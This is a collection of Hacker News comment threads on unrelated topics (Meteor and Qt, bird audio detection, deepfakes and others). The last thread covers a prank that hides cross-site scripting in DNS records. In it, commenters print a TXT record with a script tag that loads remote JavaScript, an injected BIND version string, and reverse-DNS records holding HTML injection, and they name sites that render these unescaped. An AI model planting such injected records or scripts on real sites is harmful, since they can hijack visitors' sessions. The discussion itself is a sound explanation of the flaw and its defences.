> It replaces a clear, concise table layout with a somewhat more verbose CSS
> version for seemingly no reason.
That's interesting that you claim it is more verbose. The author measured the
before-and-after and came up with these numbers:
> Since he (and so many others) are all about the numbers, how's this for a
> number:
> Original HN website: 26087 characters long.
> My rewrite: 3587 characters long.
> That is some massive savings. This will not only be lighter down the wire,
> but the browser will render it faster because it has less to do.
Where is your evidence that the table layout is clear and concise, and where
is your evidence that using CSS makes it more verbose? It looks exactly
opposite to me.
~~~
MaysonL
Was that 3587 characters for the three items displayed on the coderwall
version, as opposed to the 30 items on the HN page?
~~~
nickknw
I sure hope not, that would be pretty misleading.
------
mkantor
I made some tweaks: <http://jsbin.com/ewufof/366/edit>
------
jackfoxy
Bravo!
The infinite reasons for _not_ doing this:
1) PG has much more important things to do.
2) It would break every other hack ever done based on HN.
3) Recurs back to 1.
------
sandGorgon
Alignment problems on opera/android 2.3
------
earnubs
If I were making changes to HN it would be to add a "Nuke From Orbit" button
to posts.
------
ajuc
I'm reading hackernews on links right now. It works. This new version doesn't.
------
StuieK
Love the search function.
------
mhurron
I don't have to turn on Javascript to read HN. Why should I have to with this?
Hell, I had to turn on Javascript just to not see a wall of text on coderwall.
Honestly, HTML and CSS for layout people.
~~~
pooriaazimi
What are you talking about? His "mockup" (<http://jsbin.com/ewufof/3/edit> or
<http://jsbin.com/ewufof/3> (full-screen)) has no JavaScript.
~~~
mhurron
I have to allow jsbin to see anything more than some spinning image. No, I
don't allow javascript to see text.
~~~
bluetshirt
His mockup is hosted on a javascript-based sketchbook platform (which is
nominally intended for sharing/developing javascript snippets), despite the
fact that there's no javascript in his mockup.
~~~
commanderkeen08
Shoulda used Codepen.io ;-0
~~~
heyporter
<http://codepen.io/anon/pen/zhIiA> (<http://codepen.io/anon/full/zhIiA>)
| {
"pile_set_name": "HackerNews"
} |
How to Achieve Painless Registration - req2
http://www.asktog.com/columns/081Registration.html
======
elblanco
Step 1:review HN's registration scheme Step 2:Copy it.
| {
"pile_set_name": "HackerNews"
} |
OpenAI Playing Sonic - raudaschl
https://www.youtube.com/watch?v=2FHHuRTkr_Y
======
ayakura
An updated OpenAI will be playing with a team of semi-pros (casters) on Aug
5th, so that'll be interesting to look at.
~~~
ayakura
Link because I forgot:
[https://twitter.com/wykrhm/status/1019788033959157760?s=21](https://twitter.com/wykrhm/status/1019788033959157760?s=21)
| {
"pile_set_name": "HackerNews"
} |
107x Faster Image Processing (Grayscale) in C# - ltcode
https://www.programmingalgorithms.com/algorithm/grayscale
======
wmu
107x faster than what? This algorithm is well known, I've seen the equation
many years ago.
~~~
lovelearning
Yeah, I expected some new algorithm, given the domain name. Looks like all the
improvement is simply due to using raw pointer operations. Well, that would
make anything 'N'x faster, nothing special there.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Who actually reads YC applications? - 10dpd
A recent tweet suggested that YC video submissions are being watched by people outside of the core YC team, sometimes in public.<p>How are applications processed, and what guarantees are given to applicants that their submission will be kept confidential?
======
roh26it
I'd love to know the answer to this too! Harjeet put in a brief reply on
Quora: [http://www.quora.com/Y-Combinator/Do-all-YC-partners-read-
ea...](http://www.quora.com/Y-Combinator/Do-all-YC-partners-read-each-
application)
Lots of answers on the YC board there in fact.
------
anandkulkarni
Trusted YC alumni take a first pass.
From the app: "Though we don't make any formal promise about secrecy, we will
try to avoid disclosing your plans to potential competitors."
------
allbombs
if the videos are unlisted, randoms will be unable to find them
------
fearless
Link to said tweet?
| {
"pile_set_name": "HackerNews"
} |
Bird Audio Detection: baseline tests and the problem of generalisation - jarmitage
http://machine-listening.eecs.qmul.ac.uk/2016/10/bird-audio-detection-baseline-generalisation/
======
yareally
I've been working on matching recorded bird audio from a device to known
matches and it's not an easy problem (personal hobby project). Unlike music,
birds have dialects within the same species and that can make it harder to
match the calls of one to another. Dialects that are different enough that
birds of the same species living in the city cannot understand ones that live
in the country.
It's an interesting problem, but there's quite a bit more to it than one would
think. For some birds like the crow, their calls are complex to the point that
they're more like a language. I'd compare it to dolphin communication.
~~~
sosuke
I'm interested in your project. Do you have any blog/site/twitter or what not
that I can follow for updates?
~~~
yareally
If I get something semi usable, I'll probably post it on "show hn". I have a
twitter, but I stopped actively using it a while ago[1]. If you're interested,
I'll try to post updates there when I have something to update on. My public
email is in my hn profile as well.
I do a lot of running and I always hear birds in the forest, but I rarely see
them. Given that it's pretty hard to figure out a bird by its song without
knowing it ahead of time, I started to wonder if there was a way to match
their calls against known samples. As an indirect result of working on the
project, I've gotten better at personally identifying their calls, but would
still rather automate it through an application, because that's more fun :)
Still very much in a prototype stage and I work on it in spurts in between my
day job and other hobby projects. I've been more focused on if I can
accurately analyze and match a couple common species to the area, but I should
probably step back and see if the typical cell phone microphone can even pick
up bird calls from a range of a couple 100 feet. I'm not as worried about that
I guess, since it's for a niche audience and I'd find a way to use it myself
even if it didn't work quite so well on a phone.
[1] [https://twitter.com/yarlyyyy](https://twitter.com/yarlyyyy)
------
pja
A friend of mine asked me if it was possible to use machine learning to
identify bird calls from recordings. My initial response is: this sound hard &
I don’t think the available datasets of identified bird recordings are
anywhere near big enough to successfully train a DNN. I’d love to be proved
wrong but if the state of the art is 85% accuracy in just recognising bird
song in the first place then identifying individual species is a long way off.
| {
"pile_set_name": "HackerNews"
} |
Day Night – Kill the procrastination in you - sanjevirau
https://getdaynight.com
======
Operyl
Shouldn't this be tagged Show HN?
"Coming soon to macOS" Darn, can't even try the app since it supports neither
of my primary platforms (Linux, macOS)
| {
"pile_set_name": "HackerNews"
} |
Meteor and Qt - achipa
http://achipa.blogspot.com/2014/12/meteor-and-qt-match-made-in-heaven.html
======
jakozaur
There is a lot opinions on HNews that Meteor is too monolithic and it's bad:
[https://news.ycombinator.com/item?id=8772563](https://news.ycombinator.com/item?id=8772563)
However, that kind of projects show the opposite. It is in fact very modular.
~~~
evo_9
The fact that so many dismissed it without giving it a serious look made me
interested in seeing what it was really about. Long/short - it's an amazingly
focused, fun and easy stack to work with. I think the fact that it's easy, or
at least seems easy and probably because it's _another javascript framework_
makes it an easy target to dismiss on HN. If you are coming from a web
background like myself (aspx, ruby, etc) then it's quite a revelation how
fast, fun and easy it is to work with.
~~~
tracker1
I think that Meteor is pretty awesome, but it isn't good for a lot of use
cases out of the box... If you need really granular and flexible security
around your models, the out of the box security isn't (or wasn't last I
checked) good enough.
Common case.. GROUP_A users can read/write their own documents, but only read
other user's documents in that group... GROUP_B can read/write their own
documents as well as all documents owned by users in GROUP_A. This is a pretty
typical scenario for management chain permissions, but when I've looked ad
Meteor and similar solutions it wasn't an option (or incredibly difficult to
implement).
~~~
lourd
This is more of a data modeling and permissions question, more dependent on
the database choice rather than the framework I'd say. Since Meteor only
supports Mongo right now, I'll use Mongo terms (collections & documents)
Meteor gives you an accounts collection so you don't have to declare it
yourself. But we do need to declare the Groups Collection
Groups = new Mongo.Collection('groups');
Let's assume we want Users and Groups to have a many to many relation, so each
User doc has an attribute `groups`. `groups` is an array of which each element
is the unique id of a Group document. Similarly, Group documents have an
attribute `members`, an array of which each element is a User document unique
id.
There is a third Collection needed, documents.
Documents = new Mongo.Collection('documents');
Each document in the Documents Collection has an `owner` field that is the
unique id of a Group document.
To handle the security for inserting or updating the Documents Collection, you
need to set 2 allow rules on the Collection to check if the document.owner is
in the user.groups array.
Documents.allow({
insert: function(userId, doc) {
// doc's owner must be one of logged in user's groups
return Meteor.user().groups.indexOf(doc.owner) > -1;
},
update: function(userId, doc, field, modifier) {
return Meteor.user().groups.indexOf(doc.owner) > -1;
}
}
As for reading the document, you do that when declaring your Publications.
Easiest would be to publish all of them, but you could also pass in a groupId
or array of groupIds if you wanted to have some restrictions.
Meteor.publish("documents", function() {
return Documents.find();
};
~~~
uptownJimmy
I am not a hater, quite the contrary. I've messed around with Meteor just a
bit, and loved it. But I cannot get my head around one thing: why in the world
would anyone actually choose to use MongoDB over Postgres or MySQL ?Is there
actually a use case where a NoSQL db would be as good or preferable? Or is it
really all just a matter of people being intimidated by SQL? Because
everything informed and trustworthy that I read on the subject says that NoSQL
is simply not robust enough for doing anything more complicated than storing a
list of names and email addresses for a simple user forum. That ain't gonna
cut it for most apps.
~~~
achipa
AFAIK The reactive part is not that easy to with Mysql et al - sure, you can
hack around stored procedures, UDF and such, but it's far from being elegant.
If you "think in SQL", then of course nosql seems to make everything
difficult, but in reality, you're just taking back some of the logic and heavy
lifting from the DB server in exchange for more freedom/scalability, which may
or may not be something you want.
~~~
uptownJimmy
Thanks to all for the intelligent replies.
I 'think SQL' all day, or at least a simple subset of it, and I need to learn
more. It's paying my bills as a .NET/JavaScipt dev, you know? I'd like to
integrate it into my hobby projects. But I'm gonna watch that video linked
above and see what it sells me. I certainly don't have any innate resistance
to thinking of data as (basically) JSON arrays. I love that. We use that sorta
stuff all the time at work, passing data back and forth, to and from the core
client JavaScript functions.
I just can't shake the notion that NoSQL is so popular because SQL just is
NOT. And I get that: SQL is freaking complicated once you get to the parts
that make it so powerful. But maybe that's all a misunderstanding on my part.
------
achipa
There were some concerns as to how native this is - I'm not rendering any
HTML. The client side does use the JSON-style QML, but that's just the
declarative UI language of Qt - your high-performance code can be C++, Java,
or whatever is the native language of the platform. If you wish, though, you
can write your whole app in JavaScript, too, but that's an option, not a
requirement.
------
achipa
Hi, I'm Attila, the developer of Qondrite - the interface between Meteor and
Qt in the article. If you have any questions, feel free to ask, I'm always
looking for new perspectives, comments and will be happy to answer!
~~~
billforsternz
Really impressive work, thank you. I intend taking an in-depth look later, but
just at the moment I hope you'll indulge a more-or-less off topic question;
What tool did you use to create the youtube demo on your blog ?
~~~
achipa
I used a Chrome extension - Screencastify (
[https://www.screencastify.com/](https://www.screencastify.com/) )
~~~
billforsternz
Much appreciated, thanks.
------
jonpress
Meteor is monolithic in that it forces your app to be structured in a
particular way - It dictates how you should handle your data and how your
scripts get loaded/bundled into your app. That said, I think it's much more
flexible (and scalable - In a business sense) than a closed solutions like
Firebase. I think Meteor is suitable for most projects and monolithic isn't
always a bad thing - There is some negative stigma around the term but it's
not entirely fair. People don't go around calling Linux 'monolithic' even
though it is!
~~~
sordina
It's definitely monolithic, but depending on what you're doing it can be a
real time saver to have a lot of decisions made for you up-front.
------
dcsan
This is really interesting. I use meteor for the web, but am frustrated with
mobile html5 client clunkiness.
If i understand: \- your UI is written in QML. \- you are using Asteroid to
turn DDP protocol messages into JS events? \- are you then reactively changing
the QML markup and asking QT to re-render your UI? I'm interested how this
part works.
How granular is the reactive rendering, ie the whole page every update, or
just changed components (like reactjs DOM diffing)?
Have you dealt with other client side things like routing and page changes, or
is it currently content for QML widgets?
How far does QML allow native widgets like tab controls? Does a QML app end up
just as janky as html5?
Did you look at just having a QT application that would talk DDP? I guess QML
looks like json/markup so it's more appealing for porting an existing meteor
app, and it's markup rather than code, but some mapping to QT would presumably
give much more control?
How do you deal with client side logic? If QML is just a layout descriptor
markup, if you need actual logic client side, how do you bridge between that
and the meteor backend? I see Asteroid allows you to send data back and call
Meteor.methods. Oh I see QML actually anticipates modules in JS:
[http://doc.qt.io/qt-5/qtquick-tutorials-samegame-
samegame3-e...](http://doc.qt.io/qt-5/qtquick-tutorials-samegame-
samegame3-example.html) [http://doc.qt.io/qt-5/qtqml-modules-
topic.html](http://doc.qt.io/qt-5/qtqml-modules-topic.html)
Does QML support a webview component? In which case you could also mix in some
pages just as webviews if you didn't want to rewrite your whole app in QML?
Then again only attractive if the QT webview component uses latest chrome
renderer at an OS level, and no JS bridge was required back to your app...
that would be like a turducken anti-pattern.
Overall very interesting, thanks for sharing!
~~~
achipa
Yes, I'm using Asteroid to talk DDP/JSON with the rest of the Qt app.
In the example, I'm using models (think MVC) and updating that model, which
then automagically updates the UI.
I'm not (yet) pushing the QML via Meteor, but that is the next logical step.
Should the UI change (say, radioboxes instead of checkboxes), the plan is to
do a diff and change altered components (this should be doable as QML's format
is still close enough to JSON).
QML already has a decent set of controls
([http://doc.qt.io/qt-5/qtquickcontrols-
index.html](http://doc.qt.io/qt-5/qtquickcontrols-index.html)) but I'm working
on wrapping native components so there is full coverage of ALL components
(this was actually one of my previous posts
[http://achipa.blogspot.com/2014/11/qml-wrappers-for-
native-a...](http://achipa.blogspot.com/2014/11/qml-wrappers-for-native-
android.html))
Of course, you could write a C++ DDP lib (and on the long run, probably
should, merely for the performance boost), but asteroid and JS just made a
proof-of-concept that much easier to build.
QML is not just a layout descriptor - you can embed javascript in it. Think
about QML as HTML written in JSON, but without the HTML implied semantics.
Still, JS could also be shuttled accross the DDP connection, and could be run
or changed client-side, there is no difference between those and QML as I
mentioned above, though this is also something planned-but-not-implemented-
yet.
And finally - yes, QML has a webview component([http://doc-snapshot.qt-
project.org/qt5-5.4/qtwebengine-qmlmo...](http://doc-snapshot.qt-
project.org/qt5-5.4/qtwebengine-qmlmodule.html))
------
rattray
Wow, QML looks... really nice. Has anyone used it to deploy cross-platform
apps to iOS/Android? What was your experience? Biggest drawbacks?
~~~
Elv13
As of 2012:
* Lack of documentation about QML itself (first and third party)
* Unhandled or unsupported corner case like trees that are a pain to implement using recursive rectangles
* Very limited set of widgets (this has improved)
* Ubuntu/Blackberry/Sailfish/PlasmaActive SDK are incompatible
You can hack your way around and get back a good old imperative QPainter and
be done with it, but it kind of void the whole point.
~~~
achipa
In all honesty, Qt has come a long way since 2012 - QML is reasonably well
documented nowadays. Controls (the widget library), while not a silver bullet,
are good enough (at least on Android, haven't used iOS all that much) so
normally you don't need to go as low as your own QPainter or even Rect-s.
------
antoniuschan99
My stack uses Appcelerator, Rails, and Meteor.
Appcelerator... kind of sucks. But it's much better than HTML5. It performs
much better than HTML5, but I find it very hard to write. There's just way too
much quirkiness and hacks to make it work. The only thing I like about it is
that it's written in JavaScript (but it would be fun to learn a new one).
How does QT compare in this regard?
~~~
achipa
Performance-wise Qt is quite good, but still comes up a bit short on the
Widget quality and consistency side - this is where project like my native
component-wrappers come in to the story (shameless plug -
[http://achipa.blogspot.com/2014/11/qml-wrappers-for-
native-a...](http://achipa.blogspot.com/2014/11/qml-wrappers-for-native-
android.html)). The good news is that you can still keep on the
JSON/Javascript side for all of this, regardless of whether you use custom
UIs, use Qt Quick Controls or something else.
Long story short - it's not quite an Appcelerator replacement just yet, but
certainly keep an eye on it! :)
------
adrianlmm
What's the difference between this and Xamarin?
~~~
achipa
This is a more full-stack approach - Qt and Xamarin are geared more towards
creating standalone apps. What you get here is the reactive back-end (plus
web-site for free). This setup can be used for both data and UI - you could
for example publish a new UI (not just content), and all native apps would
automatically be updated on the fly. If you take a look at the video - if you
do this with Xamarin (or Qt) you would need to manually connect to a database
or poll a RESTful service to see current data.
~~~
segphault
It's worth noting that if you wanted to create this kind of real-time app with
a Xamarin frontend, you could do it quite easily with ASP.NET on the backend
and SignalR.
~~~
achipa
That's certainly possible for the data part - but a lot harder for UI/code.
With the method I'm using, you can actually push code AND UI to the client on
the fly. As far as I know, that's a lot more difficult with Xamarin.
Also, the licensing is a lot more flexible than with Xamarin and Qt does
provide support for more platforms.
~~~
adrianlmm
It looks attractive, but at these times, the client application can be easily
be auto-updated, that's how all applications work, including those made by
Google.
~~~
achipa
Just wondering - what auto-update mechanisms are we talking about when it
comes to _native_ apps?
~~~
adrianlmm
In the case of Android, jsu uload the new version to Google Play and the
applicatio will auto-update it self.
~~~
achipa
This is not the same thing by a long shot - you cannot force a Google Play
update, and that update will take hours or days to trickle down to the users.
What we're talking about is that the application updates itself _instantly_ ,
even WHILE RUNNING. The user needs to nothing, no "update your app" or "newer
version available". I can literally add an option in the settings menu or
change something in the app and it will immediately be reflected on ALL
clients connected without touching the appstore.
------
Matthias247
If you want a higher-level cross-platform websocket layer between client and
server you could also checkout WAMP ([http://wamp.ws](http://wamp.ws)) as an
alternative to DDP. You would need to implement some things on your own, but
on the other hand it's more of an open standard and there are already multiple
targets available.
~~~
achipa
Looks nice - Meteor natively speaks DDP so it makes most sense to use when
talking to Meteor, but for other back-ends I will certainly consider WAMP! (no
reason why this principle could not be applied to other back-ends hooking into
the same WS powered Qt front-end)
| {
"pile_set_name": "HackerNews"
} |
AI can’t protect us from deepfakes, argues new report - Anon84
https://www.theverge.com/2019/9/18/20872084/ai-deepfakes-solution-report-data-society-video-altered
======
michannne
It definitely can't. There are many cons to this of course that have discussed
ad infinitum, but I'd like to point out this opens doors for a new industry
focused on scrubbing, "pixelating", or even faking your online social
presence. How that would work, who knows, but I'm sure there will now be a
demand for that type of technology.
I think online creators should take this new tech very seriously - this isn't
a platform or something like The Onion which, if overstepping the law, can be
taken down by force. This is based on algorithmic research, which will
undoubtedly continue forward. Think twice before making a 45-minute video with
just your face talking about an extensive topic, and be mindful of bad actors
when doing something like podcasting or audiobooks.
To me, the deepfake technology could be seen as the "black plague" of social
media. Once it spreads far enough, many will be fearful about how they conduct
their social media presence keeping in mind a bad actor can step in at any
time and practically fake your life.
| {
"pile_set_name": "HackerNews"
} |
Auroracoin: "a cryptocurrency for Iceland" - heydenberk
http://auroracoin.org/
======
nirnira
Good. Although I have no reason to believe this particular coin will succeed,
the more projects and attempts like this the better. The sooner governments
around the world lose their corrupt and illegitimate stranglehold on currency
the better. Every new coin gets us closer to the day when people can be free
of parasitic, incompetent governments.
I do wonder how this will work though. Will people want to use it if their
allocation of Auroracoin doesn't reflect their pre-existing share of wealth.
So the appeal of this coin should be in negative proportion to a citizen's
relative wealth... so poor people will want to use it most, and rich people
least... so the only people incentivised to use it will be the people with the
least to trade.
Hmm.
| {
"pile_set_name": "HackerNews"
} |
Bypass the horrendous custom installer for Flash 10.1 on Mac OS X - abennett
http://www.itworld.com/it-managementstrategy/111334/good-job-adobe-flash-team
======
orborde
Does anyone have a similar trick for Windows? I can't seem to access anything
but the horrible "Download Manager" extension/ActiveX using IE or Firefox on
Windows.
| {
"pile_set_name": "HackerNews"
} |
The last will and testament of Circuit City - technologizer
http://technologizer.com/2009/03/07/the-last-will-and-testament-of-circuit-city/
======
Dobbs
I went and checked out this 'sale' many of the items like ethernet and TV's
cost more with the 80% 'off' than to purchase said goods on newegg or other
places on the internet.
I really wanted to ask the associates if they were aware that fraud is illegal
in the united states.
Either way I say good ridance.
| {
"pile_set_name": "HackerNews"
} |
TXT Record XSS - ryanskidmore
http://who.is/dns/jamiehankins.co.uk
======
mrb
I am half serious, but how about making HTML served in TXT records a standard
trick for serving small web pages very quickly? There are way fewer network
round trips:
1. DNS query for TXT record for example.com
2. DNS reply with HTML content
Compared with the traditional 7 steps:
1. DNS query for A record for example.com
2. DNS reply with x.x.x.x
3. TCP SYN to port 80
4. TCP SYN/ACK
5. TCP ACK
6. HTTP GET
7. HTTP reply with HTML content
It would also make the content super-distributed, super-reliable, as DNS
servers cache it worldwide (and for free so it would reduce hosting costs :D).
Also TXT records can contain more than 255 bytes as long as they are split on
multiple strings of 255 bytes in a DNS reply.
Again, I am only half serious, but this is an interesting thought
experiment...
Edit: oddtarball: DNSSEC would solve spoofing. And updates should take no
longer than the DNS TTL to propagate: the TTL is under your control; you could
set it to 60 seconds if you wanted. It is a common, false misconception that
_many_ DNS resolvers ignore the TTL. Some large web provider (was it Amazon? I
forget) ran an experiment and demonstrated that across tens or hundreds of
thousands of clients wordlwide, 99% of them saw DNS updates propagated within
X seconds if the TTL was set to X seconds. Only <1% of DNS resolvers were
ignoring it.
~~~
TeMPOraL
> _I am half serious_
Good. Still, it needs to be pointed out. This idea is an awesome hack to show
how can you piggyback on existing infrastructure to make it work as something
it was not intended to.
But it absolutely, terribly sucks at anything practical. Actually, it's a
_non-solution_. Here's why.
> _There are way fewer network round trips:_
> _1\. DNS query for TXT record for example.com_
> _2\. DNS reply with HTML content_
Let me show an exactly equivalent alternative implementation of the above
concept.
1. HTTP GET x.x.x.x/example
2. HTTP reply with HTML content
Both of them require you to do exactly the same steps - that is, connect to a
_hardcoded port_ of a server at a _hardcoded IP address_ , request a _user-
defined_ resource, receive and display reply. DNS is not magic, IP addresses
of DNS servers are hardcoded in your network configuration and/or in your
router configuration and/or in your ISP configuration.
I know you're half-serious with this idea, but I'm going to play along. So to
continue with the interesting thought experiment... if people were to start
actually using DNS records to smuggle websites, they'd quickly overwhelm the
capabilities of the DNS network, so the reliability and free hosting would
quicky go out of window, along with all hope of ever having anything even
resembling consistency in the Internet.
So yeah; a nice hack, but kids, don't try to deploy it at scale ;).
~~~
paulfurtado
> _Both of them require you to do exactly the same steps - that is, connect to
> a hardcoded port of a server at a hardcoded IP address, request a user-
> defined resource, receive and display reply. DNS is not magic, IP addresses
> of DNS servers are hardcoded in your network configuration and /or in your
> router configuration and/or in your ISP configuration._
The steps are not _exactly_ the same. Any sensible ISP give you at least two
redundant DNS servers with your DHCP response and most public DNS providers
also give you multiple redundant servers. When you do a DNS lookup, your OS or
browser handles failover between the DNS servers automatically, client side.
When accessed by IP address, as you've demonstrated, HTTP offers no client-
side failover mechanism built into web browsers to fall back to a different
IP.
It's additionally important to note that architecturally, DNS servers are far
more scaleable than most HTTP servers. They don't run anywhere near as much
code per request and don't require the overhead of TCP or HTTP.
Note that I'm also not encouraging using DNS instead of HTTP for serving
websites, I'm just pointing out that DNS is a more reliable technology and has
client-side failover mechanisms so the pros which mrb listed are very real.
------
JamieH
So uh. This works on a few websites. A couple I've found
[http://dig.whois.com.au/dig.php?dom=jamiehankins.co.uk&type=...](http://dig.whois.com.au/dig.php?dom=jamiehankins.co.uk&type=ALL&submit=Dig+Lookup)
[http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins....](http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins.co.uk&run=toolpage)
~~~
giancarlostoro
I'm guessing nobody else noticed the Rick Roll in there too?
~~~
BuildTheRobots
As the script was just bouncing the search box at the start I a) assumed it
was deliberate and b) expected them to start trying to sell me domains.
The rickroll was the first bit I noticed o_0
------
kazinator
Since there is very little discussion in the link, pardon me for stating what
may be obvious to some, but not necessarily everyone.
The point here is that:
1\. DNS TXT records can contain HTML, including scripts and whatever.
2\. Domain registrants can publish arbitrary TXT records.
3\. TXT records can appear in pages generated by web sites which serve, for
instance, as portals for viewing domain registration information, including
DNS records such as TXT records.
4\. Thus, such sites are vulnerable to perpetrating cross-site-script attacks
(XSS) on their visitors if they naively paste the TXT record contents into the
surrounding HTML.
5\. The victim is the user who executes a query which finds the malicious
domain which serves up the malicious TXT record that is interpolated into the
displayed results. The user's browser executes the malicious code.
Thus, when you are generating UI markup from pieces, do not trust any data
that is pulled from any third-party untrusted sources, including seemingly
harmless TXT records.
~~~
nhstanley
Thanks for explaining. I know HN is traditionally programmer/programming
focused, but some of us come from other areas and only have limited experience
with such topics. It's very common for me to enter a thread about a security
vulnerability, for example, and think "wait, how big of a deal is this?"
------
ryan-c
I enumerated all IPv4 PTR records a few years back, and I saw a couple XSS
things there as well. If anyone wants to host that data set somewhere, let me
know, would be interesting to see what others do with it.
Edit: I found my data and have a grep running on it, will share what turns up.
Edit2: Somewhat less exciting than I remember:
$ fgrep -- '>' *
x.x.101.130.csv:1298607746,155.92.101.130,<hostname>.nebula.msoe.edu.
x.x.110.35.csv:1298587462,41.191.110.35,www.ahnigeria.org\032<[http://www.ahnigeria.org/>](http://www.ahnigeria.org/>).
x.x.126.67.csv:1298594206,75.127.126.67,\032>.
x.x.229.74.csv:1298608599,139.78.229.74,<hostname>.suites.osuit.edu.
x.x.39.239.csv:1298594005,129.89.39.239,<hostname>.uits.uwm.edu.
x.x.49.198.csv:1298613894,195.164.49.198,test.str!\@#\$%^&*\\(\\)}{\":]['><.,end.domain.test.pl.
x.x.49.199.csv:1298613720,195.164.49.199,test.str<hr><br>end.domain.test.pl.
x.x.49.206.csv:1298603066,195.164.49.206,test.str<hr><bR>omain.test.pl.
x.x.88.109.csv:1298606801,95.211.88.109,ilo.>.88.211.95.in-addr.arpa.
~~~
finnn
How big is it? If you put up a torrent I'll seed it...
~~~
jonknee
Likewise, I have a gigabit internet connection and plenty of extra space.
------
philip1209
I added FartScroll.js from the Onion to my text records:
[http://dig.whois.com.au/dig.php?dom=philipithomas.com&type=A...](http://dig.whois.com.au/dig.php?dom=philipithomas.com&type=ALL&submit=Dig+Lookup)
~~~
elwell
Wow, I think they fixed that escaping problem a few minutes ago.
~~~
philip1209
I think some of the sites escape semicolons only. Pure script loading isn't
broken, but trying to code in the txt may break.
~~~
elwell
But I tried your link recently and it no longer works.
~~~
philip1209
Oh you're correct - they did update it. It still works on a few other sites.
------
SEJeff
From any Linux (or probably OS X) workstation / server, you can run the
command "host -t TXT jaimehankins.co.uk" ie:
$ host -t TXT jamiehankins.co.uk
;; Truncated, retrying in TCP mode.
jamiehankins.co.uk descriptive text "<iframe width='420' height='315'
src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0'
allowfullscreen></iframe>"
jamiehankins.co.uk descriptive text "v=spf1 include:spf.mandrillapp.com ?all"
jamiehankins.co.uk descriptive text "<script
src='//peniscorp.com/topkek.js'></script>"
jamiehankins.co.uk descriptive text "google-site-
verification=nZUP4BagJAjQZO6AImXyzJZBXBf9s1FbDZr8pzNLTCI"
~~~
pkinsky
This is hilarious, but what's up with this line? >jamiehankins.co.uk
descriptive text "v=spf1 include:spf.mandrillapp.com ?all"
Why is mandrillapp.com (tranactional email startup) included?
~~~
JamieH
It's my personal domain, I use mandrill for some stuff.
~~~
SEJeff
Hell of a good prank dude, well played sir!
------
kehrlann
This is hilariousy, but could this potentially be a real threat to anything ?
~~~
bsamuels
idk why youre getting downvoted because it's a good question and people need
to ask more security questions.
Any website I can inject malicious javascript into, I can steal your cookies
from (assuming the httponly flag isn't set on the cookie).
If you were logged into one of these whois sites and they didnt have the
httponly flag set on your auth cookie, an attacker could send you to a page on
the site that contains malicious javascript that could phone home with your
auth cookie, letting the attacker hijack your session.
You can defend your own websites from these kinds of attacks by setting up a
Content Security Policy and using the 'httponly' flag on auth cookies.
[http://en.wikipedia.org/wiki/Content_Security_Policy](http://en.wikipedia.org/wiki/Content_Security_Policy)
~~~
lifeformed
Another attack is to rewrite the webpage to show the official login screen for
that site, and record their password when they enter it.
------
AsakiIssa
Wasn't expecting that at all! Had several tabs opened and was really confused
for a few seconds while I tried to find the tab with 'youtube on autoplay'.
Firefox needs to show the 'play' icon for the audio tag.
~~~
vlunkr
For what it's worth, Chrome tells you which tab audio is playing from, it's
nice.
~~~
pipeep
I think Chrome is able to do this because it separates tabs into processes,
but I don't think there's a good way for Firefox to do it since everything is
in a single process.
[https://bugzilla.mozilla.org/show_bug.cgi?id=486262](https://bugzilla.mozilla.org/show_bug.cgi?id=486262)
~~~
general_failure
I don't think this has to do with multiprocess. The instance of HTML engine
(geckk?) just needs to track who used the audio API.
~~~
cryptoz
I think the problem with that is it doesn't work with Flash audio. With
multiprocess browsers, the Flash audio can be associated with a tab, but
that's awkward/not possible if everything is in the same process.
~~~
path411
Chrome didn't have this feature for a very long time, and if anything sounded
like it was actually harder because of how Chrome handles their processes.
------
ryanskidmore
Who.is have fixed it now, but you can still see it in action over at
archive.org
[https://web.archive.org/web/20140918191824/http://who.is/dns...](https://web.archive.org/web/20140918191824/http://who.is/dns/jamiehankins.co.uk)
~~~
tacotime
oh my god, it's even more entertaining with the wayback machine's page header.
------
garazy
I've found about 80 TXT records with <script tags in them - most of them look
like the person not understanding where to paste a JavaScript snippet over XSS
attempts, here's all of them -
[http://builtwith.com/script-tags-in-TXT-
records.txt](http://builtwith.com/script-tags-in-TXT-records.txt)
There's a few that are "13h.be/x.js" that look like someone trying this out
before.
------
jedberg
Come on people, this is so basic. If you didn't generate the data, don't
display it on your web page without filtering it. It blows my mind that this
isn't just everyone's default.
~~~
homakov
Yeah, nothing clever at all. Tons of ways for user input, and this one just
yet another one.
------
colinbartlett
Bravo, I just embarrassed myself in a very quiet meeting.
------
rbinv
Clever. I didn't get it at first.
Never trust user input.
Edit: See
[http://www.dnswatch.info/dns/dnslookup?la=en&host=jamiehanki...](http://www.dnswatch.info/dns/dnslookup?la=en&host=jamiehankins.co.uk&type=TXT&submit=Resolve)
for the actual code.
~~~
dspillett
_> Never trust user input._
Never trust _any_ input. I think this is a case where people assume that is
isn't pure user input because is would have already been
parsed/checked/verified.
"Oh, its in the DNS system so it must be safe" is worse then "well, it came
from our database so it should be fine". Don't even trust something coming out
of your own database. You never know what various input checking bugs might
have accidentally let in over time.
~~~
arenaninja
This is only too true! At work we do CRUD projects, which means user input
gets stored in the database. I almost always break other people's work by
adding HTML tags to the inputs, navigating back to the page, and seeing markup
that shouldn't be there. Even database output needs to be sanitized
~~~
peterwwillis
Database output is application input. All forms of input need to be sanitized,
period.
------
toddgardner
The most clever exploit of XSS I've ever seen. Beautiful. Bravo.
------
JamieH
Still working here if anyone is yet to see it.
[http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins....](http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins.co.uk&run=toolpage)
------
Sanddancer
Given how many whois sites cache results, I wonder how many of them are also
vulnerable to SQL injections...
------
elwell
In playing around with this hack, I discovered that Dreamhost doesn't properly
escape TXT records in their admin interface when modifying DNS records. I put
an iframe in and it shows the box but the src is removed; it also killed the
page at that point so I'm unable to remove it...
~~~
Sanddancer
Add the domain to your hosts file to make it not resolve, that should fix it.
~~~
elwell
"the page" referred to dreamhosts admin page
------
mike-cardwell
A while ago I experimented with adding stuff to the version.bind field in
bind. Just updated it:
mike@glue:~$ dig +short chaos txt version.bind @198.211.125.252
"<iframe width='420' height='315'
src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1' frameborder='0'
allowfullscreen></iframe>"
I put this in my named.conf:
version "<iframe width='420' height='315'
src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1' frameborder='0'
allowfullscreen></iframe>";
This site is vulnerable:
